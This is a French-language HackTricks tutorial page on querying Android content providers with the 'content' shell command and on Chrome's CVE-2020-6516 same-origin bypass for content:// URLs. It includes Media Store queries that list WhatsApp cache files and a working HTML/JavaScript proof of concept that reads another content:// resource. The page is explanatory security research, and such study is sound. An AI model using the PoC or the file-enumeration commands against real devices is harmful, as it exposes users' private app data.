mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-02 17:41:04 +00:00
120 lines
10 KiB
Markdown
120 lines
10 KiB
Markdown
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|
|
Pour expérimenter avec les fournisseurs de contenu, on peut utiliser la commande `content` sur les appareils Android. L'accès root n'est pas nécessairement requis. Par exemple, pour voir la liste des fichiers gérés par le Media Store, on peut exécuter la commande suivante:
|
|
```bash
|
|
$ content query --uri content://media/external/file
|
|
```
|
|
Pour rendre la sortie plus conviviale, on peut limiter les colonnes affichées à l'identifiant et au chemin de chaque fichier indexé.
|
|
```bash
|
|
$ content query --uri content://media/external/file --projection _id,_data
|
|
```
|
|
Les fournisseurs de médias existent dans leur propre espace de noms privé. Comme illustré dans l'exemple ci-dessus, pour accéder à un fournisseur de contenu, l'URI `content://` correspondant doit être spécifié. En général, les informations sur les chemins, via lesquels un fournisseur peut être accédé, peuvent être récupérées en regardant les manifestes d'application (dans le cas où le fournisseur de contenu est exporté par une application) ou le code source du framework Android.
|
|
|
|
Fait intéressant, sur les appareils Android, Chrome prend en charge l'accès aux fournisseurs de contenu via le schéma `content://`. Cette fonctionnalité permet au navigateur d'accéder aux ressources (par exemple, photos, documents, etc.) exportées par des applications tierces. Pour vérifier cela, on peut insérer une entrée personnalisée dans le Media Store, puis y accéder en utilisant le navigateur :
|
|
```bash
|
|
$ cd /sdcard
|
|
$ echo "Hello, world!" > test.txt
|
|
$ content insert --uri content://media/external/file \
|
|
--bind _data:s:/storage/emulated/0/test.txt \
|
|
--bind mime_type:s:text/plain
|
|
```
|
|
Pour découvrir l'identifiant du fichier nouvellement inséré:
|
|
```bash
|
|
$ content query --uri content://media/external/file \
|
|
--projection _id,_data | grep test.txt
|
|
Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
|
```
|
|
Et pour visualiser le fichier dans Chrome, on peut utiliser une URL comme celle montrée dans l'image suivante. Remarquez l'identifiant de fichier 747 (découvert ci-dessus) qui est utilisé comme suffixe dans l'URL.
|
|
|
|
![Chrome "Hello, world!"](https://census-labs.com/media/whatsapp-screenshot-hello-world.png)
|
|
|
|
Par exemple, vous pouvez lister tous les fichiers liés à WhatsApp avec:
|
|
```bash
|
|
$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
|
|
...
|
|
|
|
Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
|
|
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
|
|
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
|
|
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
|
|
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
|
|
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
|
|
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
|
|
...
|
|
```
|
|
## La faille de contournement de la Same-Origin-Policy CVE-2020-6516 de Chrome <a href="#cve-2020-6516" id="cve-2020-6516"></a>
|
|
|
|
La Same-Origin-Policy (SOP) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy)] dans les navigateurs dicte que le contenu Javascript de l'URL A ne pourra accéder au contenu de l'URL B que si les attributs suivants de l'URL A et de l'URL B restent les mêmes :
|
|
|
|
* Le protocole, par exemple `https` vs `http`
|
|
* Le domaine, par exemple `www.example1.com` vs `www.example2.com`
|
|
* Le port, par exemple `www.example1.com:8080` vs `www.example1.com:8443`
|
|
|
|
Bien sûr, il y a des exceptions à ces règles, mais en général, une ressource de `https://www.example1.com` (par exemple, un morceau de code Javascript) ne peut pas accéder au DOM d'une ressource sur `https://www.example2.com`, car cela introduirait de graves fuites d'informations. **À moins qu'une politique Cross-Origin-Resource-Sharing (CORS) ne l'autorise explicitement, il ne devrait pas être possible pour une ressource Web de contourner les règles SOP.**
|
|
|
|
Il est essentiel de noter que Chrome considère `content://` comme un _schéma local_, tout comme `file://`. Dans ce cas, les règles SOP sont encore plus strictes, car chaque URL de schéma local est considérée comme une origine distincte. Par exemple, le code Javascript dans **file:///tmp/test.html** ne devrait pas être en mesure d'accéder au contenu de **file:///tmp/test2.html**, ou de tout autre fichier sur le système de fichiers. **Par conséquent, selon les règles SOP, une ressource chargée via `content://` ne devrait pas être en mesure d'accéder à une autre ressource `content://`.** Eh bien, la vulnérabilité CVE-2020-6516 de Chrome a créé une "exception" à cette règle.
|
|
|
|
CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)] est une faille de contournement SOP sur les ressources chargées via une URL `content://`. **Par exemple, le code Javascript, s'exécutant dans le contexte d'un document HTML chargé à partir de `content://com.example.provider/test.html`, peut charger et accéder à n'importe quelle autre ressource chargée via une URL `content://`.** Il s'agit d'une vulnérabilité grave, en particulier sur les appareils exécutant Android 9 ou des versions antérieures d'Android. Sur ces appareils, le stockage limité \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)] n'est pas implémenté et, par conséquent, les données spécifiques à l'application sous **/sdcard**, et plus intéressant encore sous **/sdcard/Android**, peuvent être accessibles via le fournisseur de contenu Media Store du système.
|
|
|
|
Une preuve de concept est assez simple. Un document HTML qui utilise `XMLHttpRequest` pour accéder à des URL `content://` arbitraires est téléchargé sous **/sdcard**. Il est ensuite ajouté dans le Media Store et rendu dans Chrome, de manière similaire à l'exemple précédent. À des fins de démonstration, on peut tenter de charger `content://media/external/file/747` qui est, en fait, l'URL du Media Store de l'exemple "Hello, world!". Étonnamment, le code Javascript, s'exécutant dans l'origine du document HTML, récupérera et affichera le contenu de **test.txt**.
|
|
```markup
|
|
<html>
|
|
<head>
|
|
<title>PoC</title>
|
|
<script type="text/javascript">
|
|
function poc()
|
|
{
|
|
var xhr = new XMLHttpRequest();
|
|
|
|
xhr.onreadystatechange = function()
|
|
{
|
|
if(this.readyState == 4)
|
|
{
|
|
if(this.status == 200 || this.status == 0)
|
|
{
|
|
alert(xhr.response);
|
|
}
|
|
}
|
|
}
|
|
|
|
xhr.open("GET", "content://media/external/file/747");
|
|
xhr.send();
|
|
}
|
|
</script>
|
|
</head>
|
|
<body onload="poc()"></body>
|
|
</html>
|
|
```
|
|
**Informations tirées de cet article :** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)
|
|
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
|
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|